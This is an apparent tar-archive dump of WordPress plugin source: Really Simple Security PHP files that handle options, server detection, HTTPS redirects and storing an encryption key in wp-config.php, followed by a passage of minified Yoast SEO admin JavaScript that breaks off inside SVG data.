			$condition_applies = $condition_applies && $this_condition_applies;
		} else {
			$condition_applies = $condition_applies || $this_condition_applies;
		}
	}

	return $condition_applies;
}

/**
 * Fetch all user roles.
 *
 * Tries to get roles from cache first. If roles are not in cache, it fetches them and stores them in cache.
 *
 * @return array An array of roles, each role being an associative array with 'label' and 'value' keys.
 */
function rsssl_get_roles( ): array {
	if ( ! rsssl_admin_logged_in() ) {
		return [];
	}

	global $wp_roles;

	// Try to get roles from cache
	$roles = wp_cache_get( 'rsssl_roles' );

	// If roles are not in cache, fetch and set cache
	if ( ! $roles ) {
		// Just return the names, not the capabilities
		$roles_names = array_keys( $wp_roles->roles );

		// Extract unique role values from the role names
		$roles = array_values( array_unique( $roles_names ));
		// Set the roles in cache for future use
		wp_cache_set( 'rsssl_roles', $roles );
	}

	return $roles;
}

/**
 * @param $response
 * @param $user
 * @param $request
 *
 * @return mixed
 *
 * Add user roles to /users endpoint
 */
function rsssl_add_user_role_to_api_response( $response, $user, $request ) {
	if ( rsssl_is_logged_in_rest() ) {
		$data          = $response->get_data();
		$data['roles'] = $user->roles;
		$response->set_data( $data );
	}

	return $response;
}
add_filter( 'rest_prepare_user', 'rsssl_add_user_role_to_api_response', 10, 3 );really-simple-ssl/class-server.php000064400000010632147510273070013254 0ustar00<?php
defined( 'ABSPATH' ) or die( 'you do not have access to this page!' );

if ( ! class_exists( 'rsssl_server' ) ) {
	class rsssl_server {
		private static $_this;
		private $sapi = false;

		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( 'you cannot create a second instance.' );
			}
			self::$_this = $this;
		}

		public static function this() {
			return self::$_this;
		}

		/**
		 * @Since 2.5.1
		 * Checks if the server uses .htaccess
		 * @return bool
		 */

		public function uses_htaccess() {
			// No .htaccess on WP Engine
			if ( function_exists( 'is_wpe' ) && is_wpe() ) {
				return false;
			}

			if ( $this->get_server() === 'apache' || $this->get_server() === 'litespeed' ) {
				return true;
			}

			return false;
		}

		/**
		 * Returns the server type of the plugin user.
		 *
		 * @return string|bool server type the user is using of false if undetectable.
		 */

		public function get_server() {
			//Allows to override server authentication for testing or other reasons.
			if ( defined( 'RSSSL_SERVER_OVERRIDE' ) ) {
				return RSSSL_SERVER_OVERRIDE;
			}

			$server_raw = strtolower( htmlspecialchars( $_SERVER['SERVER_SOFTWARE'] ) );
			if ( strpos( $server_raw, 'apache' ) !== false ) {
				return 'apache';
			} elseif ( strpos( $server_raw, 'nginx' ) !== false ) {
				return 'nginx';
			} elseif ( strpos( $server_raw, 'litespeed' ) !== false ) {
				return 'litespeed';
			} elseif ( strpos( $server_raw, 'openresty' ) !== false ) {
				return 'openresty';
			} elseif ( strpos( $server_raw, 'microsoft-iis' ) !== false ) {
				return 'microsoft-iis';
			} else { //unsupported server
				return false;
			}
		}

		/**
		 * Get the Auto prepend configuration
		 *
		 * @return string
		 */
		public function auto_prepend_config(): string
        {
            $return = '';
			if ( $this->isApacheModPHP() ){
				$return = "apache-mod_php"; //Apache _ modphp
			} else if ( $this->isApacheSuPHP() ) {
                $return = "apache-suphp"; //Apache + SuPHP
			} else if ( $this->isApache() && !$this->isApacheSuPHP() && ($this->isCGI() || $this->isFastCGI()) ) {
                $return = "cgi"; //Apache + CGI/FastCGI
			} else if ($this->isLiteSpeed()){
                $return = "litespeed";
			} else if ( $this->isNGINX() ) {
                $return = "nginx";
			} else if ( $this->isIIS() ) {
                $return = "iis";
			} else {
                $return = "apache-mod_php";
			}
            update_option('rsssl_auto_prepend_config', $return, true);
            return $return;
		}

		/**
		 * If Apache
		 * @return bool
		 */
		public function isApache():bool {
			return $this->get_server() === 'apache';
		}

		/**
		 * If NGINX
		 * @return bool
		 */
		public function isNGINX():bool {
			return $this->get_server() === 'nginx';
		}

		/**
		 * If Litespeed
		 * @return bool
		 */
		public function isLiteSpeed():bool {
			return $this->get_server() === 'litespeed';
		}

		/**
		 * If IIS
		 * @return bool
		 */
		public function isIIS():bool {
			return $this->get_server() === 'iis';
		}

		/**
		 * If ModPHP
		 * @return bool
		 */
		public function isApacheModPHP():bool {
			return $this->isApache() && function_exists('apache_get_modules');
		}

		/**
		 * If SupPHP
		 * Not sure if this can be implemented at the PHP level.
		 * @return bool
		 */
		public function isApacheSuPHP():bool {
			return $this->isApache() && $this->isCGI() &&
			       function_exists('posix_getuid') &&
			       getmyuid() === posix_getuid();
		}

		/**
		 * If CGI
		 * @return bool
		 */
		public function isCGI():bool {
			return !$this->isFastCGI() && stripos($this->sapi(), 'cgi') !== false;
		}

		/**
		 * If FastCGI
		 * @return bool
		 */
		public function isFastCGI():bool {
			return stripos($this->sapi(), 'fastcgi') !== false || stripos($this->sapi(), 'fpm-fcgi') !== false;
		}


		/**
		 * If Sapi
		 * @return bool|string
		 */
		private function sapi(){
			if ( !$this->sapi ) {
				$this->sapi = function_exists('php_sapi_name') ? php_sapi_name() : 'false';
			}
			if ( 'false' === $this->sapi ) {
				return false;
			}
			return $this->sapi;
		}

		/**
		 * Check if the apache version is at least 2.4
		 * @return bool
		 */
		public function apache_version_min_24() {
			$version = $_SERVER['SERVER_SOFTWARE'] ?? false;
			//check if version is higher then 2.4.
			if ( preg_match( '/Apache\/(2\.[4-9])/', $version, $matches ) ) {
				return true;
			}
			return false;
		}
	} //class closure
}
really-simple-ssl/functions.php000064400000022115147510273070012652 0ustar00<?php
defined( 'ABSPATH' ) or die();
/**
 *  Only functions also required on front-end here
 */

/**
 * Get a Really Simple Security option by name
 *
 * @param string $name The name of the option to retrieve.
 * @param mixed  $default_value The default value to return if the option does not exist.
 *
 * @return mixed
 */

function rsssl_get_option( string $name, $default_value = false ) {
	$name = sanitize_title( $name );
	if ( is_multisite() && rsssl_is_networkwide_active() ) {
		$options = get_site_option( 'rsssl_options', [] );
	} else {
		$options = get_option( 'rsssl_options', [] );
	}

	//fallback, will be removed after 6.2
	//because we only check if the option is not saved in the new style, this if should normally never get executed.
	if (
		! isset( $options[ $name ] ) &&
		( 'ssl_enabled' === $name || 'redirect' === $name || 'mixed_content_fixer' === $name || 'dismiss_all_notices' === $name )
	) {
		$options = rsssl_get_legacy_option( $options, $name );
	}

	$value = $options[ $name ] ?? false;
	if ( false === $value && false !== $default_value ) {
		$value = $default_value;
	}

	if ( 1 === $value ) {
		$value = true;
	}

	return apply_filters( "rsssl_option_$name", $value, $name );
}

/**
 * Check if we should treat the plugin as networkwide or not.
 * Note that this function returns false for single sites! Always use icw is_multisite()
 *
 * @return bool
 */

function rsssl_is_networkwide_active() {
	if ( ! is_multisite() ) {
		return false;
	}
	if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
		require_once ABSPATH . '/wp-admin/includes/plugin.php';
	}

	if ( is_plugin_active_for_network( rsssl_plugin ) ) {
		return true;
	}

	return false;
}

/**
 * if the option is does not exist in our new array, check if it's available in the old option. If so, use that one
 * @deprecated to be used until 6.2, as fallback for failed upgrades in some specific edge case situations
 * @param array|bool $options
 * @param string $name
 *
 * @return array
 */
function rsssl_get_legacy_option( $options, string $name ): array {
	$old_options = is_multisite() ? get_site_option( 'rlrsssl_network_options' ) : get_option( 'rlrsssl_options' );
	$options     = [];

	if ( $old_options ) {
		if ( 'ssl_enabled' === $name && isset( $old_options['ssl_enabled'] ) ) {
			$options['ssl_enabled'] = $old_options['ssl_enabled'];
		} elseif ( 'dismiss_all_notices' === $name && isset( $old_options['dismiss_all_notices'] ) ) {
			$options['dismiss_all_notices'] = $old_options['dismiss_all_notices'];
		} elseif ( 'dismiss_all_notices' === $name && isset( $old_options['dismiss_all_notices'] ) ) {
			$options['dismiss_all_notices'] = $old_options['dismiss_all_notices'];
		} elseif ( 'mixed_content_fixer' === $name && isset( $old_options['autoreplace_insecure_links'] ) ) {
			$options['mixed_content_fixer'] = $old_options['autoreplace_insecure_links'];
		} elseif ( 'redirect' === $name ) {
			if ( isset( $old_options['htaccess_redirect'] ) && $old_options['htaccess_redirect'] ) {
				$options['redirect'] = 'htaccess';
			} elseif ( isset( $old_options['wp_redirect'] ) && $old_options['wp_redirect'] ) {
				$options['redirect'] = 'wp_redirect';
			}
		}
	}
	return $options;
}

function rsssl_check_if_email_essential_feature() {
	$essential_features = array(
		'limit_login_attempts' => rsssl_get_option( 'enable_limited_login_attempts' ) == 1,//phpcs:ignore
		'login_protection_enabled'       => rsssl_get_option( 'login_protection_enabled' ) == 1,//phpcs:ignore
	);

	// Check if the current feature is in the essential features array
	foreach ( $essential_features as $feature => $is_essential ) {
		if ( $is_essential ) {
			return true;
		}
	}

	return false;
}

/**
 * Retrieves the path to a template file.
 *
 * @param string $template The name of the template to retrieve.
 * @param string $path (Optional) The path to look for the template file. If not specified, the default path will be used.
 *
 * @return string The full path to the template file.
 * @throws \RuntimeException Throws a runtime exception if the template file cannot be found.
 */
function rsssl_get_template( string $template, string $path = '' ): string {
	// Define the path in the theme where templates can be overridden.
	$theme_template_path = get_stylesheet_directory() . '/really-simple-ssl-templates/' . $template;

	// Check if the theme has an override for the template.
	if ( file_exists( $theme_template_path ) ) {
		return $theme_template_path;
	}
	// If $path is not set, use the default path
	if ( $path === '' ) {
		$path = rsssl_path . 'templates/'; // Remember this only works in free version, for pro we need to add the $path parameter/argument
	} else {
		// Ensure the path ends with a slash
		$path = trailingslashit( $path );
	}

	// Full path to the template file
	$full_path = $path . $template;

	// Check if the template exists in the specified path.
	if ( ! file_exists( $full_path ) ) {
		throw new \RuntimeException( 'Template not found: ' . $full_path );
	}

	return $full_path;
}

/**
 * Loads a template file and includes it.
 *
 * @param string $template The name of the template to load.
 * @param array  $vars (Optional) An associative array of variables to make available in the template scope.
 * @param string $path (Optional) The path to look for the template file. If not specified, the default path will be used.
 *
 * @return void
 * @throws Exception Throws an exception if the template file cannot be found.
 */
function rsssl_load_template( string $template, array $vars = array(), string $path = '' ) {
	// Extract variables to be available in the template scope.
	if ( is_array( $vars ) ) {
		extract( $vars );
	}

	// Get the template file, checking for theme overrides.
	$template_file = rsssl_get_template( $template, $path );

	// Include the template file.
	include $template_file;
}

/**
 * Determines the path to WordPress configuration file (wp-config.php)
 *
 * This function attempts to locate the wp-config.php file in the following order:
 * 1. Checks for a filtered path via 'rsssl_wpconfig_path' filter
 * 2. Looks in the WordPress installation root directory (ABSPATH)
 * 3. Looks in the parent directory of the WordPress installation
 *
 * @return string The full path to wp-config.php if found, empty string otherwise
 *
 * @filter rsssl_wpconfig_path Allows modification of the wp-config.php path
 *
 * @example
 * // Get wp-config.php path
 * $config_path = rsssl_wpconfig_path();
 *
 * // Filter example
 * add_filter('rsssl_wpconfig_path', function($path) {
 *     return '/custom/path/to/wp-config.php';
 * });
 */
if ( ! function_exists( 'rsssl_wpconfig_path' ) ) {
	function rsssl_wpconfig_path(): string {
		// Allow the wp-config.php path to be overridden via a filter.
		$filtered_path = apply_filters( 'rsssl_wpconfig_path', '' );

		// If a filtered path is provided and valid, use it.
		if ( ! empty( $filtered_path ) && file_exists( $filtered_path ) ) {
			return $filtered_path;
		}

		// Default behavior to locate wp-config.php
		$location_of_wp_config = ABSPATH;
		if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
			$location_of_wp_config = dirname( ABSPATH );
		}

		$location_of_wp_config = trailingslashit( $location_of_wp_config );
		$wpconfig_path         = $location_of_wp_config . 'wp-config.php';

		// Check if the file exists and return the path if valid.
		if ( file_exists( $wpconfig_path ) ) {
			return $wpconfig_path;
		}

		// Return an empty string if no valid wp-config.php path is found.
		return '';
	}
}
/**
 * @return void
 *
 * Set encryption keys
 */
if ( ! function_exists('rsssl_set_encryption_key')) {
	function rsssl_set_encryption_key(): void {

		// Return if key has been set
		if ( get_site_option( 'rsssl_encryption_keys_set' ) ) {
			return;
		}

		$wp_config_path = rsssl_wpconfig_path();

		// Check if we already have a key defined
		if ( defined( 'RSSSL_KEY' ) ) {
			return;
		}

		$key           = get_site_option( 'rsssl_main_key' );
		$new_generated = false;

		// If we don't have a key, generate one
		if ( ! $key ) {
			$new_generated = true;
			$key           = wp_generate_password( 64, false );
		}

		if ( is_writable( $wp_config_path ) ) {
			// Add the key to the wp-config file
			$rule         = "//Begin Really Simple Security key\n";
			$rule         .= "define('RSSSL_KEY', '" . $key . "');\n";
			$rule         .= "//END Really Simple Security key\n";
			$insert_after = '<?php';

			$contents = file_get_contents( $wp_config_path );
			$pos      = strpos( $contents, $insert_after );
			if ( false !== $pos && strpos( $contents, 'RSSSL_KEY' ) === false ) {
				$contents = substr_replace( $contents, $rule, $pos + 1 + strlen( $insert_after ), 0 );
				file_put_contents( $wp_config_path, $contents );
			}

			// If the wp-config was just set to writable, we can delete the key from the database now.
			delete_site_option( 'rsssl_main_key' );
		} elseif ( $new_generated ) {
			// If we can't write to the wp-config file, store the key in the database
			// When wp-config is set to writable, auto upgrade to constant
			update_site_option( 'rsssl_main_key', $key, false );
		}

		update_site_option( 'rsssl_encryption_keys_set', true );
	}
	rsssl_set_encryption_key();
}really-simple-ssl/class-front-end.php000064400000004054147510273070013643 0ustar00<?php
defined( 'ABSPATH' ) or die( 'you do not have access to this page!' );

if ( ! class_exists( 'rsssl_front_end' ) ) {

	class rsssl_front_end {

		private static $_this;
		public $wp_redirect;
		public $ssl_enabled;

		public function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( 'you cannot create a second instance.' );
			}

			self::$_this       = $this;
			$this->ssl_enabled = rsssl_get_option( 'ssl_enabled' );
			$this->wp_redirect = rsssl_get_option( 'redirect', 'redirect' ) === 'wp_redirect';
			add_action( 'rest_api_init', array( $this, 'wp_rest_api_force_ssl' ), ~PHP_INT_MAX );
		}

		public static function this() {
			return self::$_this;
		}

		/**
		 * PHP redirect, when ssl is true.
		 *
		 * @since  2.2
		 *
		 * @access public
		 *
		 */

		public function force_ssl() {
			if ( $this->ssl_enabled && $this->wp_redirect ) {
				add_action( 'wp', array( $this, 'wp_redirect_to_ssl' ), 40, 3 );
			}
		}


		/**
		 * Force SSL on wp rest api
		 *
		 * @since  2.5.14
		 *
		 * @access public
		 *
		 */

		public function wp_rest_api_force_ssl(): void {
			//check for Command Line
			if ( php_sapi_name() === 'cli' ) {
				return;
			}

			if ( ! array_key_exists( 'HTTP_HOST', $_SERVER ) ) {
				return;
			}

			if ( $this->ssl_enabled && ! is_ssl() && ! ( defined( 'rsssl_no_rest_api_redirect' ) && rsssl_no_rest_api_redirect ) ) {
				$redirect_url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
				wp_redirect( $redirect_url, 301 );
				exit;
			}
		}


		/**
		 * Redirect using wp redirect
		 *
		 * @since  2.5.0
		 *
		 * @access public
		 *
		 */

		public function wp_redirect_to_ssl(): void {
			if ( ! array_key_exists( 'HTTP_HOST', $_SERVER ) ) {
				return;
			}

			if ( ! is_ssl() && ! ( defined( 'rsssl_no_wp_redirect' ) && rsssl_no_wp_redirect ) ) {
				$redirect_url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
				$redirect_url = apply_filters( 'rsssl_wp_redirect_url', $redirect_url );
				wp_redirect( $redirect_url, 301, 'WordPress - Really Simple Security' );
				exit;
			}
		}
	}
}
wordpress-seo/js/dist/admin-modules.js000064400000072400147510273070014044 0ustar00(()=>{"use strict";var e={n:t=>{var a=t&&t.__esModule?()=>t.default:()=>t;return e.d(a,{a}),a},d:(t,a)=>{for(var l in a)e.o(a,l)&&!e.o(t,l)&&Object.defineProperty(t,l,{enumerable:!0,get:a[l]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,a=window.yoast.propTypes;var l=e.n(a);const c=window.wp.i18n,r=window.wp.data,n=window.wp.element,s=window.yoast.componentsNew,i=window.yoast.helpers;function o({name:e,title:a,subtitle:l,usps:o,id:m,image:p,finishableSteps:d,finishedSteps:u,upsellLink:h,upsellText:f,workout:z,badges:E}){const{openWorkout:w,toggleWorkout:M}=(0,r.useDispatch)("yoast-seo/workouts"),g=(0,r.useSelect)((e=>e("yoast-seo/workouts").getActiveWorkout()),[]),[k,F]=(0,n.useState)(!1),y=z,v=p;(0,n.useEffect)((()=>{d&&u&&u.length===d.length?F(!0):F(!1)}),[u,d]);const b=(0,n.useMemo)((()=>u&&0!==u.length?u.length<d.length?(0,c.__)("Continue workout!","wordpress-seo"):(0,c.__)("Do workout again","wordpress-seo"):(0,c.__)("Start workout!","wordpress-seo")),[u,d]),B=(0,n.useCallback)((()=>{w(e),k&&M(e)}),[z,k,w,M]),A=(0,i.makeOutboundLink)(),C=f||(0,c.sprintf)(/* translators: %s : Expands to the add-on name. */
(0,c.__)("Unlock with %s!","wordpress-seo"),"Premium"),_=z?"":" card-disabled";return(0,t.createElement)(n.Fragment,null,!g&&(0,t.createElement)("div",{id:m,className:`card card-small${_}`},(0,t.createElement)("h2",null,a," ",E),(0,t.createElement)("h3",null,l),(0,t.createElement)("div",{className:"workout-card-content-flex"},(0,t.createElement)("ul",{id:`${m}-usp-list`,className:"yoast-list--usp"},o.map(((e,a)=>(0,t.createElement)("li",{id:`${m}-usp-${a}`,key:`${m}-${a}`},e)))),p&&(0,t.createElement)(v,null)),(0,t.createElement)("span",null,z&&(0,t.createElement)(s.NewButton,{id:`${m}-action-button`,className:"yoast-button yoast-button--"+(k?"secondary":"primary"),onClick:B},b),!z&&(0,t.createElement)(A,{id:`${m}-upsell-button`,href:h,className:"yoast-button yoast-button-upsell","data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},C,(0,t.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),d&&u&&(0,t.createElement)("div",{className:"workout-card-progress"},(0,t.createElement)(s.ProgressBar,{id:`${m}-progress`,max:d.length,value:u.length}),(0,t.createElement)("label",{htmlFor:`${m}-progress`},(0,t.createElement)("i",null,(0,c.sprintf)(
// translators: %1$s: number of finished steps, %2$s: number of finishable steps
(0,c.__)("%1$s/%2$s steps completed","wordpress-seo"),u.length,d.length)))))),z&&g===e&&(0,t.createElement)(y,null))}var m;function p(){return p=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var a=arguments[t];for(var l in a)Object.prototype.hasOwnProperty.call(a,l)&&(e[l]=a[l])}return e},p.apply(this,arguments)}o.propTypes={name:l().string.isRequired,title:l().string.isRequired,subtitle:l().string.isRequired,usps:l().arrayOf(l().string).isRequired,id:l().string,finishableSteps:l().arrayOf(l().string),finishedSteps:l().arrayOf(l().string),image:l().func,upsellLink:l().string,upsellText:l().string,workout:l().func,badges:l().arrayOf(l().element)},o.defaultProps={id:"",finishableSteps:null,finishedSteps:null,image:null,upsellLink:null,upsellText:null,workout:null,badges:[]};const d=e=>t.createElement("svg",p({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 296 317"},e),m||(m=t.createElement("g",{fill:"none",transform:"matrix(-1 0 0 1 295.274 .96)"},t.createElement("circle",{cx:131.18,cy:184.261,r:131.18,fill:"#F0ECF0"}),t.createElement("g",{fill:"#EAB881"},t.createElement("path",{d:"M236.42 96.56c-.15-.43-.29-.87-.44-1.3.15.43.29.87.44 1.3zm-31.98 59.96a11 11 0 0 0-2.11.82c.67-.3 1.4-.56 2.11-.82zm-2.11.82a58.65 58.65 0 0 0-6 2.81c2.67-1.11 4.56-2.11 6-2.81z"}),t.createElement("path",{d:"M293.49 164.27c-8.58-10.51-1.05-27.75-34.52-86.31-3-5.22-5.26-14.52-12.85-17.58-9.11-3.67-12.77-9.16-21.89-12.83-6.85-2.76-4-1.36-3.21-.49 1.49 1.67-2-1.31-5.72 7.13-.38.85 2.86 1.63 4 5 .36 1.07.49 1.14 1.23 1.33 4.71 1.2 6.52 6.89 4.2 10.06-.7-1.43.18-6-4.68-6.36 2 1.44 4.06 3.42 4 5.88 9.4 16.64 17.56 14 20 15 12.43 4.92-17.28 64.57 23 86.13-7.34-1.94-14.31-5.46-23.92-1.33 7.28-5.53 2.46-7.57.86-10.89-2.17-2.92-2.29-11.71-2.6-22.62a103.2 103.2 0 0 0 1.09 20.32 54.8 54.8 0 0 0-38-.12c5.19-1.21 15.45 48.34 20.15 53.9 3.8-1.4 23-8.57 35.17-14.11 21.52-9.81 34.94-25.76 35.44-28.31.24-1.47-.85-2.71-1.75-3.8zm-41.62-99.13c.06.1 8.87 19.59.56 1.21-.2-.44-.38-.84-.56-1.21z"}),t.createElement("path",{d:"M215.17 56.04c.46.17 2 1.49-.23-.93-.88 2.39-.6 4.42 2 6.74 1.06-3 0-3.51-1.77-5.81zm-4.33 23.82c.28-.07.36.05-.35-.38l.35.38z"})),t.createElement("path",{fill:"#D38053",d:"M203.74 73.77c0 .4-.33-.06 2.94 2.38l-2.94-2.38zm5.26 4.27c2.3 2 3.13 2.53 2.19 1.77L209 78.04zm6.17-22c.05.06 1.79 2.31 1.83 2.38-.49-1.27-.83-2.01-1.83-2.38zm-.52 11.73c1.38-.08.73 1.34 2.16-.5.52-.67 1.91-3.21.71-2.6.56-2.33-.09-6.71-.19-4.75-.13 2.46-3.7 10.77-8.67 9.87a7.6 7.6 0 0 0 3.25.22c2.74-.39 2.36-.97 2.74-2.24zm-5.99 2.02a6.27 6.27 0 0 1-1.42-.59c.42.309.906.51 1.42.59z"}),t.createElement("path",{fill:"#D38053",d:"M214.2 69.33a4.13 4.13 0 0 1-.85 3.73c3.38-1.27 3.66-3.51 2.48-4.78-1.18-1.27-1.34.03-1.63 1.05zm-32.31 1.85c.11.84 2.61 2.33 3.3 2.78a13.33 13.33 0 0 1-3.3-2.78zm10 4.39c-.21.13-.45.1.31 0-.28-.12-.13-.1-.31 0zm-6.51-1.53a29.79 29.79 0 0 0 4.51 2.28c2.54-1.52.8.82-4.51-2.28z"}),t.createElement("path",{fill:"#EAB881",d:"M202.61 77.13c-.91.35-5.67.26-10.41-1.57-6.74 1-6.41 12.08-1 12.4 8.18.48 10.11 3 13.48 1.92 6.82-2.28 2.4-11.62-2.07-12.75z"}),t.createElement("path",{fill:"#D38053",d:"M217.52 64.67a4.92 4.92 0 0 1 2.54-.48c4.87.36 4 5 4.68 6.36 2.31-3.16.52-8.86-4.2-10.06-2.25-.57.56-2.91-7.86-7.27a10.79 10.79 0 0 1 4.84 11.45zm15.23 112.51c-6.79 1.78-17.9 1.65-21-5.2 3.71 11.1 9 26.86 12.86 37.68 2.88-.89 7.41-1.86 8.89-3.4-3.52-4.16-8.67-10.41-8.74-15.89-.07-5.48 2.92-11.16 7.99-13.19zm-26.31-20.36c-.14.17-.15 0 .53 1.27-.18-.46-.35-.89-.53-1.27z"}),t.createElement("path",{fill:"#D38053",d:"M246.11 86.55c-2.26-3.64-4.21.58 2.23-3.3-10.49 4.56-18.5-2.9-24.34-13.21-.05 1.82-1.23 3.13-2.61 4.36-9.64 8.64-10.89 4.95-12.39 3.64-8-7-3.86-2.44-6.09-1-.71.46 4.08 1 5.31 7.11a5.26 5.26 0 0 1-2.67 5.38c7.41 5.8 14.7 2.46 25.68-4.09 14.67 22.17 7.38 66.27 12.78 73.54 1.6 3.32 6.42 5.36-.86 10.89 9.61-4.13 16.58-.61 23.92 1.33-37.63-20.16-14.29-73.91-20.96-84.65z"}),t.createElement("path",{fill:"#A52A6A",d:"M190.92 211.52a81.3 81.3 0 0 0-9.26-12.14c6.41 7.94 17.18 24.84 9.26 12.14z"}),t.createElement("path",{fill:"#A52A6A",d:"M205.85 156.04c-31.36 13.6-26.45 13.21-42 8.34-18.87-5.91-37.14-.76-32.1-1.07 11.82-.72 29.07 49.31 35.44 66.88l62.17-10.35c.64 7.64-20.9-59.34-23.51-63.8z"}),t.createElement("path",{fill:"#7C2050",d:"M214.23 180.31c-8.73 13.9-32.09 11.23-35.71-4.78 8 32.54 8.23 20.07-9.5 9.69 25.36 25.8 22.47 41.74 28.27 44.5 3.49 1.65 13.65-3.77 26.3-7.69 3.3-1 4.88-1.61 4.76-2.19l-14.12-39.53z"}),t.createElement("path",{fill:"#EAB881",d:"M192.93 72.9a3 3 0 0 1-.92 2.58 25.5 25.5 0 0 0 9.52 1.8c2.47-.02.6.27-8.6-4.38z"}),t.createElement("path",{fill:"#EAB881",d:"M220.06 64.19c-3.36-.25-1 1.37-4.23 4.09 1.18 1.27.9 3.51-2.48 4.78a4.07 4.07 0 0 0 .85-3.73c-2.67 1.26-5.78.74-7-.13 4.38 2.46 8.07-2.64 9.69-7.37-2.58-2.31-2.87-4.34-2-6.74-1.19-1.31-4.4-3.35.19-.49a25 25 0 0 1 2.94-5.18c1.27-1.71 5.22-.83 1.65-3.46-1.76-1.3-8.08-2.63-8.81-2.59a4.11 4.11 0 0 0-3.06 1.53c-4.33-1.59-9.29-1.86-11.78 2-4.24-3.58-9.38 2.15-7.77 6.69 1.44 4-1.86.15-7.06 14.62-1.27 3.54 5.07 7 8.77 7.58 7.7 1.25-18.75-8.93 2.24-.45 3.4 2.66 5.28 1.49 10.44 1.8 1.08-.47 1-1.92 1.05-3.09 0-1.84 6.81 8.52 10.32 5.44 8.71-4.45 13.99-9.58 6.05-15.3z"}),t.createElement("path",{fill:"#EAB881",d:"M192.51 69.95c.38.94.28.45 0-2.57a4.18 4.18 0 0 0 0 2.57z"}),t.createElement("path",{fill:"#D38053",d:"M194.68 57.19a15.87 15.87 0 0 0 .36-1.77c-.14.62-.25 1.18-.36 1.77z"}),t.createElement("path",{fill:"#A52A6A",d:"M59 167.04c-7.75 3.79-5.09 3.25-3.46 3.59a74.937 74.937 0 0 0 3.46-3.59zm69-3.33-.77-.17c.242.112.504.17.77.17z"}),t.createElement("path",{fill:"#A52A6A",d:"M200.06 262.44c1.23-17.17 10-35.47-31-77.22-8.89-9-13.84-13.86-31.69-19.13 6.35 7.45-.5 40.2-3.43 38.36-25.84-16.17-70.31-19.82-79.39-32.84 6.7-6.24-28.46 5.48-39.7 16.24-3.57 3.42-8.13 12.77-12.22 22.43 8.53 42.43 41.23 74.66 42.5 72 3.64-7.7 7.17-15.66 6.64-14.47 11.84 12.23 19.29 19.48 23.78 35.23A131 131 0 0 0 201 295.25c-.06-16.21-1.3-27.79-.94-32.81zm-145.78-.4c.1 0 0-.08-1.06 2.38.36-.79.71-1.59 1.06-2.38z"}),t.createElement("path",{fill:"#7C2050",d:"M53.29 267.84c5.65 7.53 33.06 17 44.3 27a280 280 0 0 1-35.06-36.66 203.23 203.23 0 0 0 49.54 9.79l-47.15-13.12c.667-5.7 1.333-11.393 2-17.08-3.35 4.49-11.74 22.07-13.63 30.07zm125.12-18.17c-12.42-1.14-45.91 6.44-50.79 17 18.32-12.22 51.08-16.81 54.55.56-.17-1.02 12.83-16.03-3.76-17.56z"}),t.createElement("path",{fill:"#EAB881",d:"M124.39 155.75c0 .21.1.43.16.64-.06-.21-.11-.43-.16-.64zm-57.05-39.34c-.59 0-.52-.25 0 1.56 1.53 2.37.74 1.51 0-1.56zm56.8 38.33.12.46-.12-.46zm-69.63 16.87c9.09 13 53.53 16.65 79.39 32.84 2.16 1.35 8.75-21.75 4.69-36.08-1.9-6.72-10.19-4.65-10.62-4.66-1 0-1.46-.64-1.83-1.66-.68-1.91-1.52-5.36-1.48-5.21-1.23 4.07-1.68 6.59-3.49 7.5-6.48 3.24-37.85-9.4-52.25-41 .62 2.53 1.06 5.26-1 3.64 3.8 16.54 5.92 26.64-13.41 44.63z"}),t.createElement("path",{fill:"#D38053",d:"M107.65 148.64c-20.65-5.6-33.72-12.94-37.72-32.87-3.26 1.48-3.22-1.55-1 7.6 14.4 31.56 45.77 44.21 52.25 41 2.15-1.07 3.54-7.31 3.38-8-2.21-8.85 2.2-2.53-16.91-7.73z"}),t.createElement("path",{fill:"#EAB881",d:"M140.75 66.31c-3-9.44-7.65-19.56-11.74-25.21a15.73 15.73 0 0 1-8.82-3.17c-7.48 8.26-15.45 4.83-16.65 0-1.68 5.91-9.62 9-14.83 5.74a6.35 6.35 0 0 0 4.78-2.95 18.42 18.42 0 0 1-15.21-2.12c-6-.8-4.66-.93-1.31 4.28 7.29 11.35 4.24 15-4.14 23.72C62.7 77.12 70.69 82.04 74 85.14c6.7 6.17 1.74 13-5.65 12.35 4.88 8.65 5.25 9.2 5.41 10.7.34 3.25-1 6.28-3.86 7.58 4 19.73 16.77 27.17 37.72 32.87 6.48 1.76 13.43 3.33 20 1.88 6.57-1.45 12.87-6.74 13.24-13.51.22-4.11-1.69-10-1.26-14 .68-6.64 5.94-5 6.24-21a112.12 112.12 0 0 0-5.1-35.45"}),t.createElement("path",{fill:"#D38053",d:"M121.63 67.04c-.14 1.89.33 11.5 1.43 14.94 2.29 7.11 7.13 6.6 10.67 8.13 4.36 1.9 5.64 6.66-1.58 8.75-3.85 1.12-7.92 2.25-11.82 1.33 1.4 1.63 3.81 1.84 6 1.84 14.73 0 15.5-9 13.14-12.25-3.67-5.06-12.38-1.31-15.58-12.81-.81-2.74.11-8.51-2.26-9.93z"}),t.createElement("path",{fill:"#000",d:"M110.39 112.3c-10.66-3-13.86-7.32-14.77-5.86-1.15 1.83 18.2 12.62 29.48 6.84-5.03.06-9.69.44-14.71-.98zM86.23 73.61c1.75 0 7-6 8.82-7.15 3.63-2.2 7.63-1.08 11.78-2-.51-1.34-3.51-5.43-4.18-5.29-3.17.68-9.2.3-9.2.3s-13.18 14.27-7.22 14.14zm39.37-15.85c-5.09.43-3.23 1.61-2.29 5.5a18.92 18.92 0 0 1 17.63 3.35c-5.31-8.47-9.64-9.34-15.34-8.85z"}),t.createElement("path",{fill:"#FFF",d:"M91.39 85.5c4.56 6.52 15.3 4.23 18.45-1.77-.92-5.69-16.99-9.33-18.45 1.77zm9.87 1.69c-6.09 3.06-8.18-7.15-1.85-7.15 4.07 0 5.74 5.19 1.85 